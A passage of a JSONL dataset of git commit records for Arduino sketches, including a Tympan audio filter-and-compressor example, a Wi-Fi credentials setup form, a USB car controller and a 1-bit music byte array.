Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"11\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"12\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"13\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"14\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"15\"); Serial.println(client.readStringUntil('\\n'));\n Serial.print(\"16\"); Serial.println(client.readStringUntil('\\n'));\n*\/ \n\n\n\n unsigned long _timeout = 1000;\n unsigned long _startMillis = millis();\n \/\/while (client.connected()) { \/\/ client.connected seems to not always work! - returns FALSE at this point sometimes.\n \n while (millis() - _startMillis < _timeout) {\n String line = client.readStringUntil('\\n');\n yield();\n Serial.print(\"Header Line: \");\n Serial.println(line);\n if (line == String(\"\\r\") ) {\n Serial.println(\"headers received\");\n break;\n }\n }\n \n while (client.connected()) {\n String line = client.readStringUntil('\\n');\n yield();\n if (line.startsWith(\"GMT:\")) {\n Serial.print(\"Got GMT: \");\n Serial.println(line);\n } else {\n Serial.print(\"Body Line: \");\n Serial.println(line);\n }\n }\n\n\n Serial.println(\"Finished\");\n \/\/ read until return -1?????\n \/\/while (client.read() >= 0) {Serial.print(\".\"); }\n \n \/\/Serial.println(\"reply was:\");\n \/\/Serial.println(\"==========\");\n \/\/Serial.println(line);\n \/\/Serial.println(\"==========\");\n \/\/Serial.println(\"closing connection\");\n\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SimpleClientDHTSSLWIFIMGR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"42ad9484bc0cef9813a445f3ff2eef149cbba6c0","subject":"Examples: add another AIC Shield example: TrebleBoost_wComp_Quad","message":"Examples: add another AIC Shield example: TrebleBoost_wComp_Quad\n","repos":"Tympan\/Tympan_Library,Tympan\/Tympan_Library,Tympan\/Tympan_Library","old_file":"examples\/09-AIC_Shield\/TrebleBoost_wComp_Quad\/TrebleBoost_wComp_Quad.ino","new_file":"examples\/09-AIC_Shield\/TrebleBoost_wComp_Quad\/TrebleBoost_wComp_Quad.ino","new_contents":"\/*\n* TrebleBoost_wComp\n*\n* Created: Chip Audette, OpenAudio, Apr 2017 (updated August 2021 for Quad)\n* Purpose: Process audio by applying a high-pass filter followed by gain followed\n* by a dynamic range compressor.\n* \n* Uses a Tympan RevD or RevE along with an AICShield (or earpiece shield). Defaults\n* to using the microphones built into the Tympan's circuit board. It applies the\n* Treble Boost and Compression to these two channels. It sends the processed audio\n* to the stereo headphone output of both the Tympan board and the AIC Shield.\n*\n* Blue potentiometer adjusts the digital gain applied to the filtered audio signal.\n* \n* No USB Serial control nor any Bluetooth control. There is information sent to the \n* USB Serial Monitor, however, so you can see what is happening.\n*\n* MIT License. use at your own risk.\n*\/\n\n\/\/here are the libraries that we need\n#include <Tympan_Library.h> \/\/include the Tympan Library\n\n\/\/set the sample rate and block size\nconst float sample_rate_Hz = 24000.0f ; \/\/24000 or 44100 (or other frequencies in the table in AudioOutputI2S_F32)\nconst int audio_block_samples = 32; \/\/do not make bigger than AUDIO_BLOCK_SAMPLES from AudioStream.h (which is 128)\nAudioSettings_F32 audio_settings(sample_rate_Hz, audio_block_samples);\n\n\/\/create audio library objects for handling the audio\nTympan myTympan(TympanRev::E, audio_settings); \/\/do TympanRev::D or TympanRev::E\nAICShield aicShield(TympanRev::E, AICShieldRev::A); \/\/do TympanRev::D or TympanRev::E\n\n\nAudioInputI2SQuad_F32 i2s_in(audio_settings); \/\/Digital audio in *from* the Teensy Audio Board ADC.\nAudioFilterBiquad_F32 hp_filt1(audio_settings); \/\/IIR filter doing a highpass filter. Left.\nAudioFilterBiquad_F32 hp_filt2(audio_settings); \/\/IIR filter doing a highpass filter. Right.\nAudioEffectCompWDRC_F32 comp1(audio_settings); \/\/Compresses the dynamic range of the audio. Left.\nAudioEffectCompWDRC_F32 comp2(audio_settings); \/\/Compresses the dynamic range of the audio. Right.\nAudioOutputI2SQuad_F32 i2s_out(audio_settings); \/\/Digital audio out *to* the Teensy Audio Board DAC.\n\n\/\/Make all of the audio connections\n#if 1\n \/\/Use the inputs on the Tympan board\n AudioConnection_F32 patchCord1(i2s_in, 0, hp_filt1, 0); \/\/connect the Left input to the left highpass filter\n AudioConnection_F32 patchCord2(i2s_in, 1, hp_filt2, 0); \/\/connect the Right input to the right highpass filter\n#else\n \/\/Use the inputs on the AIC Shield\n AudioConnection_F32 patchCord1(i2s_in, 2, hp_filt1, 0); \/\/connect the Left input to the left highpass filter\n AudioConnection_F32 patchCord2(i2s_in, 3, hp_filt2, 0); \/\/connect the Right input to the right highpass filter\n#endif\n\n\/\/connect the compressors\nAudioConnection_F32 patchCord3(hp_filt1, 0, comp1, 0); \/\/connect to the left gain\/compressor\/limiter\nAudioConnection_F32 patchCord4(hp_filt2, 0, comp2, 0); \/\/connect to the right gain\/compressor\/limiter\n\n\/\/connect to the Tympan headphone outputs\nAudioConnection_F32 patchCord5(comp1, 0, i2s_out, 0); \/\/connect to the Left output\nAudioConnection_F32 patchCord6(comp2, 0, i2s_out, 1); \/\/connect to the Right output\n\n\/\/connect to the AIC Shield headphone outputs\nAudioConnection_F32 patchCord7(comp1, 0, i2s_out, 2); \/\/copy to left output on AIC Shield\nAudioConnection_F32 patchCord8(comp2, 0, i2s_out, 3); \/\/copy to right output on AIC Shield\n\n\/\/define a function to configure the left and right compressors\nvoid setupMyCompressors(void) {\n \/\/set the speed of the compressor's response\n float attack_msec = 5.0;\n float release_msec = 300.0;\n comp1.setAttackRelease_msec(attack_msec, release_msec); \/\/left channel\n comp2.setAttackRelease_msec(attack_msec, release_msec); \/\/right channel\n\n \/\/Single point system calibration. what is the SPL of a full scale input (including effect of input_gain_dB)?\n float SPL_of_full_scale_input = 115.0;\n comp1.setMaxdB(SPL_of_full_scale_input); \/\/left channel\n comp2.setMaxdB(SPL_of_full_scale_input); \/\/right channel\n\n \/\/now define the compression parameters\n float knee_compressor_dBSPL = 55.0; \/\/follows setMaxdB() above\n float comp_ratio = 1.5;\n comp1.setKneeCompressor_dBSPL(knee_compressor_dBSPL); \/\/left channel\n comp2.setKneeCompressor_dBSPL(knee_compressor_dBSPL); \/\/right channel\n comp1.setCompRatio(comp_ratio); \/\/left channel\n comp2.setCompRatio(comp_ratio);\n\n \/\/finally, the WDRC module includes a limiter at the end. set its parameters\n float knee_limiter_dBSPL = SPL_of_full_scale_input - 20.0; \/\/follows setMaxdB() above\n \/\/note: the WDRC limiter is hard-wired to a compression ratio of 10:1\n comp1.setKneeLimiter_dBSPL(knee_limiter_dBSPL); \/\/left channel\n comp2.setKneeLimiter_dBSPL(knee_limiter_dBSPL); \/\/right channel\n\n}\n\n\n\/\/ define the setup() function, the function that is called once when the device is booting\nconst float input_gain_dB = 20.0f; \/\/gain on the microphone\nfloat vol_knob_gain_dB = 0.0; \/\/will be overridden by volume knob\nvoid setup() {\n \/\/begin the serial comms (for debugging)\n myTympan.beginBothSerial(); delay(1000); \/\/let's use the print functions in \"myTympan\" so it goes to BT, too!\n myTympan.println(\"TrebleBoost_wComp_Quad: Starting setup()...\");\n\n \/\/allocate the dynamic memory for audio processing blocks\n AudioMemory_F32(20,audio_settings); \n\n \/\/Enable the Tympan to start the audio flowing!\n myTympan.enable(); \/\/ activate AIC\n aicShield.enable();\n\n \/\/Choose the desired input on main Tympan board\n myTympan.inputSelect(TYMPAN_INPUT_ON_BOARD_MIC); \/\/ use the on board microphones\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_MIC); \/\/ use the microphone jack - defaults to mic bias 2.5V\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_LINEIN); \/\/ use the microphone jack - defaults to mic bias OFF\n\n \/\/Choose the desired input on the AIC shield (though there are no software AudioConnections to it)\n \/\/aicShield.inputSelect(TYMPAN_INPUT_JACK_AS_MIC); \/\/ use the microphone jack - defaults to mic bias 2.5V\n aicShield.inputSelect(TYMPAN_INPUT_JACK_AS_LINEIN); \/\/ use the microphone jack - defaults to mic bias OFF\n\n\n \/\/Set the desired volume levels\n myTympan.volume_dB(0); \/\/ headphone amplifier. -63.6 to +24 dB in 0.5dB steps.\n aicShield.volume_dB(0); \/\/ headphone amplifier. -63.6 to +24 dB in 0.5dB steps.\n myTympan.setInputGain_dB(input_gain_dB); \/\/ set input volume, 0-47.5dB in 0.5dB setps\n aicShield.setInputGain_dB(input_gain_dB); \/\/ set input volume, 0-47.5dB in 0.5dB setps (not being used\n \n\n \/\/Set the cutoff frequency for the highpassfilter\n float cutoff_Hz = 1000.f; \/\/frequencies below this will be attenuated\n myTympan.print(\"Highpass filter cutoff at \");myTympan.print(cutoff_Hz);myTympan.println(\" Hz\");\n hp_filt1.setHighpass(0, cutoff_Hz); \/\/biquad IIR filter. left channel\n hp_filt2.setHighpass(0, cutoff_Hz); \/\/biquad IIR filter. right channel\n\n \/\/configure the left and right compressors with the desired settings\n setupMyCompressors();\n\n \/\/ check the setting on the potentiometer\n servicePotentiometer(millis(),0);\n\n myTympan.println(\"Setup complete.\");\n} \/\/end setup()\n\n\n\/\/ define the loop() function, the function that is repeated over and over for the life of the device\nvoid loop() {\n\n \/\/periodically check the potentiometer\n servicePotentiometer(millis(),100); \/\/update every 100 msec\n\n \/\/periodically print the CPU and Memory Usage\n myTympan.printCPUandMemory(millis(),3000); \/\/print every 3000 msec\n\n \/\/periodically print the gain status\n printGainStatus(millis(),2000); \/\/update every 4000 msec\n\n} \/\/end loop();\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Servicing routines\n\n\/\/servicePotentiometer: listens to the blue potentiometer and sends the new pot value\n\/\/ to the audio processing algorithm as a control parameter\nvoid servicePotentiometer(unsigned long curTime_millis, unsigned long updatePeriod_millis) {\n \/\/static unsigned long updatePeriod_millis = 100; \/\/how many milliseconds between updating the potentiometer reading?\n static unsigned long lastUpdate_millis = 0;\n static float prev_val = -1.0;\n\n \/\/has enough time passed to update everything?\n if (curTime_millis < lastUpdate_millis) lastUpdate_millis = 0; \/\/handle wrap-around of the clock\n if ((curTime_millis - lastUpdate_millis) > updatePeriod_millis) { \/\/is it time to update the user interface?\n\n \/\/read potentiometer\n float val = float(myTympan.readPotentiometer()) \/ 1023.0; \/\/0.0 to 1.0\n val = (1.0\/9.0) * (float)((int)(9.0 * val + 0.5)); \/\/quantize so that it doesn't chatter...0 to 1.0\n\n \/\/send the potentiometer value to your algorithm as a control parameter\n if (abs(val - prev_val) > 0.05) { \/\/is it different than before?\n prev_val = val; \/\/save the value for comparison for the next time around\n\n \/\/choose the desired gain value based on the knob setting\n const float min_gain_dB = -20.0, max_gain_dB = 40.0; \/\/set desired gain range\n vol_knob_gain_dB = min_gain_dB + (max_gain_dB - min_gain_dB)*val; \/\/computed desired gain value in dB\n\n \/\/command the new gain setting\n comp1.setGain_dB(vol_knob_gain_dB); \/\/set the gain of the Left-channel linear gain at start of compression\n comp2.setGain_dB(vol_knob_gain_dB); \/\/set the gain of the Right-channel linear gain at start of compression\n myTympan.print(\"servicePotentiometer: linear gain dB = \"); myTympan.println(vol_knob_gain_dB); \/\/print text to Serial port for debugging\n }\n lastUpdate_millis = curTime_millis;\n } \/\/ end if\n} \/\/end servicePotentiometer();\n\n\n\n\/\/This routine plots the current gain settings, including the dynamically changing gains\n\/\/of the compressors\nvoid printGainStatus(unsigned long curTime_millis, unsigned long updatePeriod_millis) {\n \/\/static unsigned long updatePeriod_millis = 2000; \/\/how many milliseconds between updating the potentiometer reading?\n static unsigned long lastUpdate_millis = 0;\n\n \/\/has enough time passed to update everything?\n if (curTime_millis < lastUpdate_millis) lastUpdate_millis = 0; \/\/handle wrap-around of the clock\n if ((curTime_millis - lastUpdate_millis) > updatePeriod_millis) { \/\/is it time to update the user interface?\n myTympan.print(\"printGainStatus: \");\n\n myTympan.print(\"Input PGA = \");\n myTympan.print(input_gain_dB,1);\n myTympan.print(\" dB.\");\n\n myTympan.print(\" Compressor Gain (L\/R) = \");\n myTympan.print(comp1.getCurrentGain_dB(),1);\n myTympan.print(\", \");\n myTympan.print(comp2.getCurrentGain_dB(),1);\n myTympan.print(\" dB.\");\n\n myTympan.println();\n\n lastUpdate_millis = curTime_millis;\n } \/\/ end if\n} \/\/end servicePotentiometer();\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/09-AIC_Shield\/TrebleBoost_wComp_Quad\/TrebleBoost_wComp_Quad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"15b53e3e7d328d0db13e8ebf77e113356e526364","subject":"form pt2","message":"form pt2\n","repos":"predbrad\/fabbit-iot,predbrad\/fabbit-iot,predbrad\/fabbit-iot,predbrad\/fabbit-iot,predbrad\/fabbit-iot","old_file":"hardware\/docs\/form.ino","new_file":"hardware\/docs\/form.ino","new_contents":"client.print(<html>\\r\\n);\nclient.print(<body>\\r\\n);\nclient.print(<form action='\/submit' method='post'>\\r\\n);\nclient.print(SSID: <input name='ssid' type='text' value=''><br>\\r\\n);\nclient.print(Password: <input name='pw' type='password' value=''><br>\\r\\n);\nclient.print(<button type='submit'>Submit<\/button>\\r\\n);\nclient.print(<\/form>\\r\\n);\nclient.print(<\/body>\\r\\n);\nclient.print(<\/html>\\r\\n);\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/docs\/form.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"428dea033f83d79fe0f4c924ef0b7721081352fa","subject":"Code initialized","message":"Code initialized\n","repos":"vkylamba\/car_control","old_file":"CarController.ino","new_file":"CarController.ino","new_contents":"#include <DigiUSB.h>\n\n#define CAR_FORWARD_PIN 0\n#define CAR_BACKWARD_PIN 1\n#define CAR_RIGHT_PIN 5\n#define CAR_LEFT_PIN 2\n\n#define ARMING_CODE 0xAA;\n\nuint8_t speed_forward=0, speed_backward=0, speed_left=0, speed_right=0;\n \nvoid setup() {\n DigiUSB.begin();\n pinMode(CAR_FORWARD_PIN, OUTPUT);\n pinMode(CAR_BACKWARD_PIN, OUTPUT);\n pinMode(CAR_RIGHT_PIN, OUTPUT);\n pinMode(CAR_LEFT_PIN, OUTPUT);\n}\n\nuint8_t get_input() {\n uint8_t current_key, last_key, counter=0;\n \/\/ when there are no characters to read, or the character isn't a newline\n while (counter < 10) { \/\/ loop forever\n if (DigiUSB.available()) {\n \/\/ something to read\n current_key = DigiUSB.read();\n DigiUSB.write(current_key);\n \n if (current_key == '\\n') {\n \/\/break; \/\/ when we get a newline, break out of loop\n return last_key;\n }\n else {\n last_key = current_key;\n }\n }\n \n \/\/ refresh the usb port for 10 milliseconds\n DigiUSB.delay(5);\n counter += 1;\n }\n}\n\nvoid control_car(uint8_t command)\n{\n uint8_t forward_motion = command >> 4;\n uint8_t left_motion = command & 0x0f;\n\n for(uint8_t i=0;i<128; i++)\n {\n if(i<forward_motion)\n {\n digitalWrite(CAR_FORWARD_PIN, HIGH);\n }\n }\n}\n\nvoid loop() {\n uint8_t command = 0xAA;\n DigiUSB.println(\"Ready\");\n while(command != 0xAA)\n {\n DigiUSB.println(\"Send 0xAA to arm the controller.\");\n command = get_input();\n delay(100); \n }\n command = get_input();\n while(command != 0xBB)\n {\n control_car(command);\n command = get_input();\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"6a0c445e161f22f0a17ea35bc18f8a452b337740","subject":"another 1bit music example","message":"another 1bit music example\n","repos":"electronoob\/beverly-crusher","old_file":"arduino\/example\/example_6.ino","new_file":"arduino\/example\/example_6.ino","new_contents":"\/*\n\nbeverly-crusher (build 216) [http:\/\/electronoob.com]\n\nReleased under the terms of the MIT license.\nCopyright (c) 2014 electronoob.\nAll rights reserved.\n\n*\/\n\n\n#include <arduino.h>\n#include <avr\/pgmspace.h>\n\nprog_uchar onebitraw_1[] PROGMEM = {\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x0F, 0xC0, 0x3E, 0x00, 0xFE, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0x82, 0x00, \n0x1F, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, \n0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x3C, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x80, 0x7E, 0x00, 0x7C, 0x00, 0x00, 0x00, \n0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 